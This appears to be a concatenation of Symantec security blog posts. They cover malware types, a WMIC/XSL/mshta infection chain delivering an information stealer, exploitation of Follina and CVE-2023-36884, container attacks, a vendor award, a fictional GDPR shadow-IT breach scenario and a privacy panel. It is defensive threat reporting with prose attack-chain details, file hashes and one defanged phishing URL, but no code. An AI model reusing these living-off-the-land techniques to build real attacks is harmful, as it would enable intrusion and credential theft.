A Trojan horse, more commonly known as a “Trojan,” takes after the myth it gained its name from by disguising itself as a normal file or program tricking users into letting it through – either by downloading or installing. Once in the system an attacker can control the machine remotely and carry out any malicious task they would like even installing more malware.
Virus
A virus is a form of malware that is capable of copying itself automatically and spreading to other computers. Viruses often spread to other computers by attaching themselves to various programs and executing code when a user runs an infected program. Viruses can be used to steal information, create botnets and steal money.
Worm
Worms carry out very similar actions to viruses when they infect a machine the biggest difference between the two is that a worm can spread on its own (through operating system vulnerabilities) and requires no human intervention. Worms typically cause harm to their host networks by consuming bandwidth and overloading web servers. Worms can also contain payloads, which is an action other than spreading itself, this can damage the host computer by stealing data or even creating botnets.
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Attackers Abuse WMIC to Download Malicious Files
Malware authors use WMIC and a host of other legitimate tools to deliver information-stealing malware, highlighting the continued use of living off the land tactics.
We recently observed malware authors using a combination of a tool found on all Windows computers and a usually innocuous file type associated with modifying and rendering XML documents. While these two things—the Windows Management Instrumentation Command-line (WMIC) utility and an eXtensible Stylesheet Language (XSL) file—would not normally raise suspicion if found on a computer, in this case they’re used as part of a multistage infection chain that delivers a modular information-stealing threat.
The use of WMI by cyber criminals is not new, however, the tool is typically used for propagation but in this case is used to download a malicious file.
The use of WMIC is beneficial for the attackers as it helps them to remain inconspicuous and also provides them with a powerful tool to aid them in their activities. The WMIC utility provides a command-line interface for WMI, which is used for an array of administrative capabilities for local and remote systems and can be used to query system settings, stop processes, and locally or remotely execute scripts. Parallels can be drawn between WMIC and PowerShell, another legitimate tool which is also found on Windows systems and is increasingly being abused by cyber criminals. PowerShell’s popularity among cyber criminals was highlighted when Symantec saw a 661 percent increase in malicious PowerShell activity from H2 2017 to H1 2018.
The use of WMIC here, as well as a host of additional legitimate dual-use tools used in this attack, adds to the continuing evidence of cyber criminals using so-called “living off the land” tactics in order to reduce the chances of their activity being detected.
Thankfully Symantec has multiple technologies in place to protect customers from these types of attacks and the tactics used in this particular case were successfully blocked by our file-, behavior-, and network-based protection including Symantec’s advanced machine learning technology.
Staying under the radar
Malware authors are continuously trying to fly under the radar of security products. Their attack techniques are evolving, and they are constantly coming up with new ways to introduce their malware onto computers. For instance, they may drop an encrypted payload and decrypt it in memory to try and bypass security detections. Or instead of directly downloading and executing the payload, they may make use of non-PE files to drop their malware. They may also try to exploit Microsoft tools to download payloads, as we’ve observed in this case.
As previously mentioned, as part of our ongoing work to protect customers from these types of attacks we spotted an attack chain that incorporates many layers of obscurity.
Step-by-step
The attack chain begins with the arrival of a shortcut (.lnk) file delivered via a URL, such as a link in an email, or sent as an email attachment. Once the recipient clicks on the file, the next stage in the attack is initiated.
The shortcut file contains a WMIC command to download a file from a remote server.
The downloaded file is a malicious XSL file.
The XSL file contains JavaScript which is executed using mshta.exe, another legitimate tool often abused by cyber criminals.
The JavaScript contains a list of 52 domains each assigned an ID number from 1-52. The JavaScript has a function (radador) to randomly generate a number from a range of 1-52, effectively choosing a random domain from the list. In order to generate a unique URL, the JavaScript generates a random number using the radador function, as well as a random port number from 25010-25099, and adds them to the domain to create a download URL.
The URL is used to download an HTML Application (HTA) file.
Figure 1. Threat generating URL used to download HTA file
The HTA file also contains the radador function which is used in the same way to select domains randomly and generate dynamic URLs that are used to download several more files.
These downloaded files include three DLL files, which are then registered using the legitimate Windows command-line utility regsvr32.exe, as well as the main payload. The downloaded DLLs are Delphi compiled executables.
The HTA script launches one of the DLLs (hwasrhela64196155383.dll) with RegSvr32.exe. The important part here is that this DLL does not contain any exports, so it can be used directly as an executable. Once hwasrhela64196155383.dll is launched, it loads another DLL (either %UserProfile%\tempwj\hwasrhela98.dll for 32-bit systems or %UserProfile%\tempwj\hwasrhela64.dll for 64-bit systems). This DLL contains only one export named BTMEMO, which is used for decrypting and loading DLL files.
The main payload is an information stealer with several multibit XOR-encrypted modules. All the modules are downloaded from URLs generated by the HTA file. The modules have either a .jpg or .gif extension.
Payload modules:
Email password stealer - The malware uses the MailPassview utility to capture email account passwords.
Web browser password stealer - The malware uses WebBrowser Passview to steal passwords stored in web browsers.
Keylogger - The malware uses the global keyboard hook WindowsKeyboardhook to capture keystrokes and writes all keystrokes into a file in an encrypted form. It also logs the contents of the clipboard and active window titles.
The keylogger requires the keyboard layout to be set to Japanese in order to capture keystrokes. It checks for keyboard layout type value 0x7 (Japanese keyboard). If the value doesn’t match it will not capture keystrokes.
The keylogger cannot connect to the command and control (C&C) servers by itself – the network module is required to transfer the stolen information to the attackers’ servers.
Network/phishing - The malware uses the phishing module and uses http://renivaxx01.gettrails[DOT]com/01/ for phishing.
The remaining three modules—File browser, Backdoor, Coinminer—are unremarkable and their functionality is just as their names suggest.
Protection
Symantec has multiple technologies to protect customers against the threats discussed in this blog.
File-based protection:
MSH.Downloader - Shortcut (.lnk) file
JS.Downloader - JavaScript
Trojan Horse – DLL files
All three DLL files are also detected by Symantec’s advanced machine learning technology as Heur.AdvML.B and Heur.AdvML.C
Behavior-based detection:
Symantec behavior technology blocked execution of MSHTA.EXE as SONAR.MSHta!g2
Network-based protection:
Symantec’s Intrusion Prevention System (IPS) blocked communication to the backend server preventing the download of the HTA file.
The IPS detection Web Attack: Applocker Bypass Request blocked malicious traffic for mshta.exe
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Attackers Exploit MSDT Follina Bug to Drop RAT, Infostealer
Symantec has observed threat actors exploiting remote code execution flaw to drop AsyncRAT and information stealer.
Symantec, a division of Broadcom Software, has observed threat actors exploiting the remote code execution (RCE) vulnerability known as Follina to drop malware onto vulnerable systems just days after the flaw became public on May 27, 2022.
What is Follina?
Follina (CVE-2022-30190) is a vulnerability in the Microsoft Support Diagnostic Tool (MSDT) that allows remote code execution on vulnerable systems through the ms-msdt protocol handler scheme. The bug is present in all supported versions of Windows.
The vulnerability can be easily exploited by a specially crafted Word document that downloads and loads a malicious HTML file through Word’s remote template feature. The HTML file ultimately allows the attacker to load and execute PowerShell code within Windows. The vulnerability can also be exploited through the RTF file format.
Exploiting the flaw does not require the use of macros, eliminating the need for an attacker to trick victims into enabling macros for an attack to work.
Microsoft has since released advisories and workarounds to mitigate the vulnerability.
Attackers quick to take advantage
Since the details of the vulnerability started surfacing online, attackers were quick to start taking advantage of the flaw to install their payloads. Symantec has observed attackers using a similar HTML file to that used in the initial attack.
Figure 1. HTML file similar to that used in initial attack
When the HTML document is executed in the context of WinWord, msdt.exe gets spawned as a child process. That is because of the protocol handler entry in the registry.
Figure 2. Protocol handler entry in the registry
Sdiagnhost.exe is then invoked, which is the Scripted Diagnostics Native Host, and under this process the final payload process is created - in our case PowerShell.
Figure 3. PowerShell is created under the Scripted Diagnostics Native Host process
Multiple attackers are using a variety of payloads at the end of successful exploitation. In one of the instances, Symantec observed the attackers deploying the remote access Trojan AsyncRAT, which had a valid digital signature.
When AsyncRAT runs, it carries out the anti-analysis checks shown in Figure 4.
Figure 4. AsyncRAT carries out anti-analysis checks
Later, AsyncRAT collects information about the infected system, including hardware identification, user name, executed path, and operating system information, and sends it to a command-and-control (C&C) server.
Figure 5. AsyncRAT collects information from the infected system
AsyncRAT then waits for commands from the C&C server and executes those commands on the victim machine.
Symantec has also observed attackers deploying an information stealer as a payload. The code shown in Figure 6 is a snippet from the malware, which steals information including cookies and saved login data from web browsers such as Firefox, Chrome, and Edge.
Figure 6. Snippet of code from information-stealing malware dropped by attackers exploiting Follina bug
Protection/Mitigation
For the latest protection updates, please visit the Symantec Protection Bulletin.
Symantec protects against these attacks with the following definitions:
File-based
Downloader
Backdoor.ASync
InfoStealer
Network-based
33748 [Web Attack: MSDT Remote Code Execution CVE-2022-30190]
Indicators of Compromise
If an IOC is malicious and the file available to us, Symantec Endpoint products will detect and block that file.
e7faa6c18d4906257652253755cf8f9a739c10938db369878907f8ed7dd8524d
b63fbf80351b3480c62a6a5158334ec8e91fecd057f6c19e4b4dd3febaa9d447
8e0be5e1035777f2ea373593c214d29ad146dd0453e9b8a1cad16d787c0be632
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Attackers Exploit Unpatched Windows Zero-Day Vulnerability
Exploit of CVE-2023-36884 was used in targeted attacks against organizations in Europe and North America.
A zero-day vulnerability (CVE-2023-36884) affecting Microsoft Windows and Office products is being exploited by attackers in the wild. To date, the exploit has been used in highly targeted attacks against organizations in the government and defense sectors in Europe and North America.
The vulnerability was disclosed yesterday (July 11) by Microsoft, which said that an attacker could create a specially crafted Microsoft Office document that enables remote code execution on the target’s computer. In order for the exploit to succeed, the victim needs to open the malicious file. No patch has been released yet for the vulnerability. However, Microsoft is still investigating the issue and said a patch may be rolled out in its monthly release process or in an out-of-cycle security update. The company provided some mitigation guidance in its advisory.
How is the vulnerability being exploited?
According to a separate blog published by Microsoft, the vulnerability was being exploited by an actor it calls Storm-0978 (aka RomCom) in targeted attacks against defense and government organizations in Europe and North America. The exploit was contained in Microsoft Word documents that masqueraded as information about the Ukrainian World Congress.
The attacks were earlier documented by BlackBerry on July 8, which noted that the targets were guests for the upcoming NATO Summit. At the time, the use of the zero-day in the attacks was unknown.
Who is Storm-0978/RomCom?
Storm-0978/RomCom is a Russia-linked threat actor that has been involved in both espionage and cyber-crime activity. The group acquired its name through its use of the RomCom remote access Trojan (RAT).
There are strong ties between it and a group Symantec calls Hawker, which is the developer of the Cuba ransomware family. The U.S Cybersecurity and Infrastructure Security Agency (CISA) has said that there are possibly links between Hawker, RomCom, and the Industrial Spy ransomware actors. A report published last year by Palo Alto also detailed how RomCom (whom it calls Tropical Scorpius) used the RomCom RAT to deliver the Cuba ransomware payload to victims.
While it is clear that there are strong ties between Storm-0978/RomCom and Hawker, it is unclear yet whether the two actors are one and the same.
How severe is this vulnerability?
Until a patch is released, organizations should adopt all possible mitigation strategies. Although the vulnerability has, to date, been exploited in targeted attacks, news of its existence will doubtlessly lead other attackers to attempt to replicate the exploit.
Protection/Mitigation
Email-based
Coverage is in place for Symantec’s email security products
File-based
Trojan.Mdropper
WS.Malware.1
Network-based
Web Attack: Webpulse Bad Reputation Domain Request
Web-based
Observed domains/IPs are covered under security categories in all WebPulse enabled products
Symantec is continuing to investigate further possible protection based on available information, and additional signatures may be introduced as analysis progresses.
For the latest protection updates, please visit the Symantec Protection Bulletin.
Indicators of Compromise
If an IOC is malicious and the file available to us, Symantec Endpoint products will detect and block that file.
a61b2eafcf39715031357df6b01e85e0d1ea2e8ee1dfec241b114e18f7a1163f
e7cfeb023c3160a7366f209a16a6f6ea5a0bc9a3ddc16c6cba758114dfe6b539
d3263cc3eff826431c2016aee674c7e3e5329bebfb7a145907de39a279859f4a
3a3138c5add59d2172ad33bc6761f2f82ba344f3d03a2269c623f22c1a35df97
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Attackers Get (Virtually) Mean
Online criminals and vandals are targeting containers and virtual machines, in some cases compromising insecure infrastructure and causing other mischief
A decade ago, websites and business applications ran on clusters of servers in corporate data centers. Today, that infrastructure has gone virtual with software containers and virtual machines increasing used to host applications and business services, sometimes in datacenter-hosted private clouds, but most often on public cloud infrastructure.
Where information technology goes, attackers follow. More than half of companies have experienced attacks on their cloud infrastructure. And much of attackers' focus has been on containers.
In 2017, for example, researchers found a chain of attacks that could exploit Docker for Windows to load in malicious containers if the developer browsed an attacker-controlled website. More frequently, attackers have exploited businesses' failure to actively manage their infrastructure and security. Misconfiguration of applications hosted in virtualized environment often leaves open a path for intruders to get into the infrastructure.
"In the wild, we have seen bitcoin mining attacks—a developer will download an open-source container and behind the scenes there will be a bitcoin miner," said Amir Jerbi, a veteran enterprise security executive. "We have also seen a lot of attacks on the infrastructure itself, such as Kubernetes (used for orchestration). Companies set up Kubernetes in an insecure way, and attackers will use that to infiltrate the organization."
Because container technology and deployments continue to take off, the infrastructure will become increasingly popular to attackers. Nearly half of all companies have adopted Docker containers in some way. Among businesses that have created private clouds, 50% used VMWare's vSphere for managing virtual machines, but other virtualization infrastructure is also popular to a lesser extent. Only 22% of firms installed applications directly to bare-metal servers, the report found.
The rewards to a successful hacker make the challenge worth it, said Ashok Banerjee, vice president of engineering for Symantec.
"Cloud services are increasingly multi-tenant so hacking one (instance in a) multi-tenant cloud service hacks-all customers of the multi-tenant service," he said.
Attackers Look for Misconfigurations
As virtualization and cloud use become standard, attackers will continue to target both technologies. Vulnerabilities have already been found in the software that make containers and virtual machines possible, attackers are more likely to exploit vulnerabilities in the applications running in VMs and containers or convince developers to download malicious VM and container images.
The latest attempts to monetize the cloud focuses on using VMs and containers with backdoor code to run coin-mining software, turning a victim's workloads into bots. In May, for example one coin miner was found to have used Docker containers to mine Monero for over a year, making $172,000 at current rates.
With companies deploying applications with multiple components as microservices, they need to secure every component to protect the whole.
Piecing together applications from multiple microservices is easy, but doing it securely is hard, said security consultant Wesley McGrew. At this year's Black Hat Briefings, McGrew described containers and microservice architecture from the view of an attacker. With virtual systems connected through networking protocols and APIs, a containerized application looks like a more concise version of the corporate network, he said.
"Once you (compromise a component), the application looks like a small network," he said. "Attackers can explore using typical tools, intercept and inject—all the things they would do in a large-scale network but, instead, in a microcosm of a network."
Done Right, Containers and VMs are Secure
Virtual machines and containers can add a great deal of security to any application deployed using the infrastructure. The first benefit is the ability of the technologies is isolation, preventing limiting the ability of applications running inside a container or virtual machine to access data in other virtualized instances.
"As a result of that isolation, the containers themselves only get access to required resources and required access that they need," said Banjot Chanana, vice president of product for Docker. "That is a huge boon for any application as soon as you containerize it."
Containers are also immutable objects, which prevents attackers from adding programs or editing the applications and data inside the virtualized instance. Virtual machines save their state between executions, but containers do not.
"You get the benefit of being able to say, I know its state," Chanana said. "If it ever deviates from that known state, you can redeploy it."
Finally, because virtual machines and containers run on top of a host operating system, any application running inside an instance can easily be instrumented. This gives operations teams much more visibility into the execution of the application and a chance to spot anomalies.
However, these security benefits will not help if the containers and applications are not configured correctly.
In a presentation at Container Camp last year, two consultants demonstrated how an attacker might approach a containerized app. Their three-step process: Scan the application's external connections to the internet, install code and elevate privilege, and break out of the container.
Because containerized applications tend to have a more complex architecture, preventing an attack against the whole application means hardening every component, said Symantec's Banerjee.
"Attackers always look for the weakest link in the entire security chain," he said. "Therefore, for cyber-defense, we have to look for an integrated chain, and (realize that) security is only as strong as the weakest link."
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Attacks Against the Government Sector
Symantec releases a new whitepaper regarding incidents and tactics
The government sector, both U.S. and international, is a prime target for hackers. Attacks from organized criminals, foreign countries, political hacktivists, and others not only erode public trust in targeted government entities, but can also seriously impact government operations and the ability to deliver critical functions—not to mention the financial cost and risk to sensitive information and vital infrastructure. This all means that cyber security is a large and growing concern for governments worldwide. Increasingly, federal, state, and local governments are targets as threat actors attempt to steal or manipulate sensitive data or disrupt operations.
This was highlighted in December 2020 when news emerged of the SolarWinds supply chain attack in which multiple parts of the U.S. Federal Government, NATO, the UK government, and the European Parliament were impacted. The incident, which also impacted thousands of organizations in the private sector, was reported to be among the worst cyber-espionage incidents ever suffered by the U.S.
While cyber-attacks against the government sector are far too numerous to list, Symantec as division of Broadcom, has released a white paper covering a number of notable incidents that highlight the range of attacks this sector is subject to, as well as the various tactics employed.
Some of the key areas covered in this paper include the following:
Examples of Attacks: Some recent examples of attacks against government entities broken up into common attack types/motivations.
Who is Attacking? A look at some prominent advanced persistent threat (APT) groups with a focus on targeting the government sector.
Malicious Activity Trends: Key trends taken from Symantec, a division of Broadcom (NASDAQ: AVGO), metrics.
Case Studies: A detailed look at two cases worked on by the Symantec Threat Hunter Team.
How to Protect Your Network: Protection and mitigation can be used by organizations in the government sector to protect their networks
Check out the new Symantec Whitepaper here.
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AV-TEST Recognizes Symantec Endpoint Security With Two Awards for 2023
We celebrate success in AV-Test’s 20th anniversary year
In the latest 2023 AV-TEST evaluation period, Symantec Endpoint Protection (SEP) is the only product to win the prestigious Best Protection and Best Advanced Protection awards from AV-TEST.
SEP once again stopped thousands of malicious samples drawn from real-world threats and other sources. In a landscape where few can claim such a feat, SEP blocked every single one of these threats. This consistent track record speaks volumes about the reliability and effectiveness of SEP in safeguarding against evolving cyber threats.
Clinching the Best Protection award yet again reaffirms SEP's unparalleled defense capabilities. Additionally, our solution was honored with the Best Advanced Protection award, underscoring its ability to repel sophisticated and multi-stage attacks right from the initial access point.
Joe Chen and Adam Bromwich with the AV Tests awards
Reflecting on AV-TEST’s Reputation
As AV-TEST marks its 20th anniversary and thirteenth award ceremony in 2024, it's a milestone year for both the testing lab and the cybersecurity industry as a whole. Over the past two decades, AV-TEST has solidified its reputation as a trusted authority in evaluating security solutions. We congratulate Andreas Marx, Maik Morgenstern, and the entire AV-TEST team on this achievement.
At Symantec, we eagerly participate in AV-TEST's evaluations and those of other reputable labs to showcase the strength of Symantec Endpoint Security. We are confident in our protection capabilities, honed through years of innovation and expertise.
Commendations from AV-TEST
"For two decades, Symantec has participated in AV-TEST’s protection evaluations, showcasing its consistent dedication to protection against current threats," said Maik Morgenstern, CEO of AV-TEST. "In the 20th anniversary year of the institute, Symantec deserves a word of thanks, along with recognition for its remarkable achievements. We are pleased to present two awards: Best Protection and Best Advanced Protection for Corporate Users on Windows. The entire team at AV-TEST sends words of congratulations to the team from Symantec for this well-deserved recognition".
Underscoring the Power of Symantec Endpoint Security
The threat landscape continues to evolve and change. By participating in third party evaluations customers can see that Symantec Endpoint Protection, year in and year out, has kept pace with these changes. Superior protection demands consistency, and our ongoing evolution in protection technology has provided that, as these test results show. An early innovation was our move to advanced machine learning and behavioral analysis, allowing Symantec to catch both known and unknown threats. Our investment in a multi-layered defense has paid off with our IPS technology stopping most threats from ever entering the environment, reducing security analysts’ workloads. Our Adaptive Protection technology is in place just as it becomes more critical to prevent Living-off-the-Land attacks without interrupting normal business operations. Our constant innovation ensures consistent and superior protection into the future.
It is worth noting that Symantec Endpoint Protection is only one part of Symantec's advanced endpoint capabilities. Symantec Endpoint Security Complete also includes Active Directory exploit protections, application control, and Endpoint Detection and Response (EDR) and protects all endpoints including workstations, laptops, mobile phones, tablets, and servers. Holistic in its approach, SES Complete delivers comprehensive protection for modern digital environments.
As we celebrate Symantec's success at AV-TEST's 20th anniversary awards, we reaffirm our commitment to innovation and excellence in cybersecurity. With Symantec Endpoint Security leading the charge, organizations can confidently navigate the digital landscape, knowing that their endpoints are fortified against even the most advanced threats.
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Avoiding Your Worst GDPR Nightmare
Compliance should not lead to complacency
You know those mornings when you are in no mood for lengthy discussions with the children? As usual, they’re all late for school and eating breakfast without any noticeable sense of urgency, shouting because a shoe went missing, or crying as you try to drag them away from the TV.
That’s when a work-related lightning bolt strikes.
Today it will be in the shape of a call from your CEO, no less, who informs you that the company is in the news - not because the share price is going through the roof but because personal data belonging to 2.7 million customers are now all over the internet. Your CEO didn’t exactly call you to ‘inform’ you, she wants to know from you “what exactly happened!”. And she wants to know right now because she’s about to go on national TV.
Now you better find that shoe very quickly, load the little rebels into the car, and drop them safely to school. Because it’s going to be a long day, and night. Possibly many of them.
Chaos and Crisis
Fast-forward 72 hours.
You have now notified the Supervisory Authority (SA). Just compiling the notification in those 72 hours involved the contribution of 23 people from 6 different departments (well, 24 if you count your mother-in-law who had to rush home and spend three days there, to help with the rebels). And yet the detail you were able to provide was partial, but luckily the GDPR provides an allowance in that sense, and you will be able to complete the notification as more information will surface in the next few days and weeks.
Three investigators from the Data Protection Authority are now in your premises. They are discussing with you and your key colleagues the level of risk for your data subjects. It’s quite straightforward and it doesn’t take long: The data that have been leaked are not only affecting a vast number of data subjects, but their nature will pose serious risk to every affected individual in many ways.
The investigators mime “quote & unquote” with their fingers: potential “financial loss” in the first place, since bank details were part of the exfiltrated data, but also data concerning "health.” Moreover, since the data of your employees was also affected, “trade union membership” and “performance-at-work” information was also disclosed.
For some reason, all these “quote & unquote” items ring a bell, and yes, you now remember being briefed two years ago about that Recital 75 of the GDPR by some external consultant, who told you: “Start your compliance journey from Recital 75, that’s where you will find all the data you should protect in a special way. They are the ones that pose the highest 'risk' - not to you as a company, but to the 'rights and freedoms' of your data subjects. And if something happens to that data, you and your company will have no excuse.”
No excuse. You really can’t think of one. But that warning did not particularly stick, did it? And now your subconscious is sending a reminder - charged with a hyper-dose of guilt and self-condemnation.
The bottom line is that you must notify your customers “without undue delay.” In plain terms, that means now. Today.
Now the investigators are trying to ascertain what exactly happened, how could the records of 2.7 million customers and employees leave the perimeter of the company and be made available on the internet. You wonder which powerful state-sponsored attack group has so much interest in the data of your customers, let alone your employees. Perhaps it was a competitor. Or even a head hunter who wanted to find out about the best employees to poach. After all, it’s a buoyant market these days. That’s it. That’s the only explanation. And the customer data was just collateral damage, exfiltrated by mistake in the process. Right?
Now the investigators are trying to ascertain what exactly happened, how could the records of 2.7 million customers and employees leave the perimeter of the company and be made available on the internet.
It took another three days for your IT and cyber security teams to find the first clues from the vast amount of telemetry of the last several months. A lot of telemetry to search, most of it irrelevant to the case, some attempted minor attacks now and then, and finally here is an interesting sign. From the analysis of some employees’ endpoints, it appears as though some of them from Customer Service, as well as HR, had sent out some PDF files containing this data. This can be traced back to at least fifteen months earlier, and with some worrying continuity since. More research shows that in fact at least 130 employees (as well as contractors) had sent out data in PDF format. Now things get quite concerning in terms of the root cause of the leak.
Some of the employees have been called in, and kindly asked to explain. It’s a very simple explanation. They needed to have the data, initially collected in PDFs, converted into an Excel format, in order to perform some calculations, but there were no applications in-house and it would have been too cumbersome, and error-prone, to manually copy-paste between formats every time. So, they went to look for something that would help them.
No hackers involved then? No plot from rogue state-actors? No competitors trying to steal juicy secrets or head hunters trying to poach? Insiders instead. And not for malicious purposes either. Just a productivity need. Commendable though, almost moving, you think to yourself.
And so, some found apps to use in the cloud, without the IT department knowing about - another example of the "Shadow IT” phenomenon where employees go ahead and use unsanctioned applications.
You now recall reading that a study by Symantec showed how IT departments of Enterprise organisations had indicated that the number of apps in the cloud used in their organisation was, on average, 30-40; but when CASB tools were used, they revealed a number on average above 1000. And you had found this unbelievable at the time, surely impossible in your company.
Others used one of the innumerable websites that ask users to upload the file they want to convert, and then download the resulting file.
Wait, you think. “Upload the files?” This causes you a mix of shivers and palpitations. Your brain is now processing a Megabit of thoughts per millisecond, envisioning catastrophic compliance implications. Uploading all that personal data? By so many employees, over such a long period of time? And then: “upload” where exactly? And who is physically performing that conversion? Do we know them? Are they a Processor of ours in GDPR terms? Do we have a contract in place - and that’s when an investigator is going to ask:
“Were you and your IT people aware of all this particular personal data processing? All these employees downloading apps, “uploading” personal data, “downloading” converted files?”
“Sorry…? Did you say 'exploding'?"
“No, I said 'uploading' and 'downloading' files."
“Right…Yes...No! I mean no, we were not aware. How could we?”
“Therefore, such websites and apps in the cloud are not known to you, let alone to your IT?”
That hurts.
You, the DPO (or CIO, or CISO), and the IT Dept of the leader company in your marketplace are unaware of what apps or websites the employees use on a daily basis, and what processing they perform with them on personal data of customers and employees. The personal data - some of them “special categories” according to Article 9 and Recital 75 - that customers and the work force had entrusted your company with. And now that data is gone. And it’s dangerously public.
Just the Facts
The investigators start going through a list of, shall we say, “GDPR compliance challenges” originating from this regular, relentless Shadow IT and web-processing exuberance.
They are quite certain that you have insufficient control about the way personal data flow inside and outside the boundaries of the organization; likewise, in terms of the use of the personal data, by which departments, employees or contractors, and crucially who has the necessary authorisation to process them and in which way.
It is also clear to them that you have no full knowledge of which processes are executed by these Shadow apps or websites, over which personal data is processed. Therefore, these processes will be unlikely to have been recorded and documented, as required by Article 30.
And then it’s evident that you have no idea of who the Processor(s) of this data is (are), (i.e. the app providers or the website operators) and whether they fulfill their Processor obligations according to Articles 28 and 29 let alone the security provisions for the personal data they process. So after Article 30, now Articles 5(f), “Confidentiality, Integrity” and 32 (“Security of Processing”) also go out of the window, together with the Processor Data Breach Notification process (Article 33.2).
And as the list recited by the investigators goes into the depth of your compliance flaws, the shadow of the scenario acquires even darker nuances.
Now they are alluding to further potential infringements of Article 5, in the principles of Transparency, Purpose Limitation, Storage Limitation.
And then some sharp Medieval tool of torture stabs you deep: you are reminded of the obligations of “Data Protection by Design and by Default”, Article 25, remember that one?
Which is emphasized by the next even sharper one, back to Article 5: “Accountability”, the Giant. Just a small word in Article 5.2, but the Everest, or in European terms the Mont Blanc, the Mother of all the GDPR obligations.
You are now ready to knock down the King and concede defeat. But it’s not over yet.
Because in rapid succession, another storm of pounding is upon you:
Transparent information (Articles 12-14).
Data Subject Rights (Articles 15-21).
Cross-border Data Transfers provisions as explained in the whole GDPR Chapter V, Articles 44-50 (because in this case Shadow apps and websites could be operated and hosted by providers in Countries with unverified adequacy).
And then, in case of high-risk processing, like this seems to be, given the sensitive nature of the data, Risk Assessment, DPIA, Prior Consultation of the SA (Articles 35-36) all seem to have been underestimated if not completely ignored.
To recap, almost thirty articles of the GDPR (30% of the whole legislation) could have been infringed through this ‘innocent’ shadow IT and website activity by employees.
Final Tally
Now the investigators are persuaded that the company has insufficient control over the way personal data are processed.
You feel numb. You will have to report this assessment to the CEO. And to the Board.
They will ask you some of the same questions the investigators have just asked you. But probably without a full understanding of what they are asking, therefore a much more insidious conversation.
And how will you explain to them that the last thing the chief investigator mentioned to you is the possibility, not too remote at this point, that given your lack of control over the way personal data is processed in your organisation, the monetary fines are likely to be substantial, but…, and they emphasize “but” with a painful pause, fines might not be the worst that you will have to endure?
No, not the reputation in the market place or in the stock market either, or in the press, if that is not devastating enough.
No. What they are considering applying - they told you as they were leaving - is in Article 58. The “Powers” article, what Supervising Authorities can do. Article 58.2.(f): “to impose a temporary or definitive limitation including a ban on processing”. Imagine that: your market-leader company will be unable to process personal data for some time. That will impact virtually every activity, in every department, most likely in every country.
And this measure is not a ‘dissuasive punishment’ like fines are meant to be, rather a way to guarantee that the personal data is not processed by a Controller that is unable to demonstrate the necessary ability to ensure safe processing, and ultimately the “rights and freedoms” of the data subjects. Fines are meant to be dissuasive, but a ban on processing has some powerful dissuasive element too, you realise.
Therefore, until all the appropriate measures, both “technological and organisational” of course, are reviewed and deployed, your organisation will not be able to process personal data. It could take weeks if not months.
And on that bombshell, they left your office.
You are now staring into the abyss. You cannot believe this. But your CEO will. And his reports too. And your investors. And your partners, agents, re-sellers, suppliers, employees, customers, shareholders, big and small. Meanwhile, your competitors will celebrate and prosper for some time.
Do you feel faint?
“Mum! Dad! I can’t find my shoe!”
You wake-up. Turns out, you, are the one who is late for the school run. You are so happy, but realize now is the time to take action.
You grab your mobile phone and send an email, naturally full of typos, to the CIO, the CISO, the CFO, the VP of Sales, and the Heads of HR, Legal, Privacy, Compliance, Risk Management, and Marketing, and call an urgent meeting, in which you will address “a serious issue that has been neglected in the last two years of GDPR efforts”.
“Ok, where did you put your shoes yesterday, sweetheart?”
Final Thoughts
Any resemblance to real persons or actual events is purely coincidental. Still, it’s a realistic scenario, I think you will agree. A number of recommendations derive naturally from this scenario, which shows as an issue that seems to be just technology-related, can have severe compliance implications, and subsequent much wider consequences for the organisation:
Organisations should verify their own Shadow IT situation, through technical controls such as CASB (Cloud Access Security Broker), able to scan the apps unknowingly utilised by employees;
Data loss prevention technologies should be considered, in order to control the outbound flow of personal data. Encryption will also provide a way to limit access to data to those who are authorised and therefore have the key;
The workforce should be made aware of the risk posed by the use of unsanctioned apps or websites, and trained to refrain from using them to process data, especially personal data;
Productivity needs should be identified, procured and made available by the organisation in order to minimize employees’ need to access unsanctioned applications;
Cloud customers should perform a thorough privacy and security evaluation on all apps before sanctioning them for use by employees;
Sanity checks should be performed regularly on the cloud environment, in order to assess the level of unsanctioned apps active at any one time, so as to minimize the risk of compliance breaches, and to fulfill and document the related due diligence, which can be a mitigating factor in case of an investigation.
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A Year Spent Virtually - The Lasting Effect of the COVID Pandemic on Privacy
How the pandemic impacted data privacy in the absence of new cyber protections
The RSA Conference 2021 Virtual Experience is happening May 17-20 and Symantec, as a division of Broadcom, will be providing a summary of some of the leading stories from the conference to help you stay informed.
When many Americans shifted the bulk of their work and social lives online last year, they not not only altered their everyday habits but also increased their reliance upon a digital world that many feel offers limited privacy protections. Though states such as California have passed privacy laws, the lack of a modern set of federal protections has not gone unnoticed.
“The pandemic has absolutely changed, I believe forever, people's relationship with technology,” said Julie Brill, Microsoft’s Chief Privacy Officer, and former FTC commissioner, speaking at the RSA conference on Wednesday. An increasingly heavy reliance upon digital technology and platforms has “raised consumer’s expectations about how their data is going to be used and how it should be used.”
When many Americans shifted the bulk of their work and social lives online last year, they not not only altered their everyday habits but also increased their reliance upon a digital world that many feel offers limited privacy protections.
Brill was one of two featured privacy experts in an RSA session called A Year Spent Virtually - The Lasting Effect of the COVID Pandemic on Privacy. Danielle Citron, a University of Virginia law professor, a MacArthur Fellow and author of Hate Crimes in Cyberspace addressed a wide spectrum of privacy concerns such as cyber surveillance and the unauthorized sharing of intimate information on digital platforms. “We've always been under surveillance by companies in ways that we can't even fathom,” contends Citron. “We can’t feel data when we give it up — it doesn’t ping.”
Jules Polonetsky, CEO of Future of Privacy Forum, moderated the panel and explored the top concerns for many since the outset of the pandemic. “Those of us who work at the intersection of data and technology obviously have been grappling with the incredible forces of change, the digital acceleration, but also the intense need for data to track COVID for exposure notification” among many other privacy-related concerns, said Polonetsky.
In search of Protections
The panel expressed concern and conveyed some frustration that while the past year has heightened public awareness of digital privacy infringements, there’s been little action to ramp up protections. While the panel considered whether the US may eventually adopt some variation of the EU’s General Data Protection Regulation (GDPR), Brill mused that “there’s a hope that privacy laws can address a number of issues.” She states that for many the importance of privacy is simply having the ability to say “no, I don’t want my data used in that way, or I want to really understand what you’re going to do with my data.”
Brill believes that COVID pandemic has “accelerated and sharpened this feeling” that many people have about technologies and data privacy. “Am I really in control and is this company really to be trusted?” asks Brill.
While America lacks a comprehensive set of digital privacy laws, according to the panel’s privacy experts, there's been no lack of discussion about what’s needed in one, should Congress opt to address these concerns. Earlier in the discussion, Polonetsky framed a thought-provoking question about people’s hopes for digital privacy protections. Is it reasonable to “ask privacy laws to solve all these problems of society?” There were no immediate answers amid mounting concerns about data privacy issues amid the pandemic.
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Bachosens: Skilled petty cyber criminal with lofty ambitions targeting large organizations
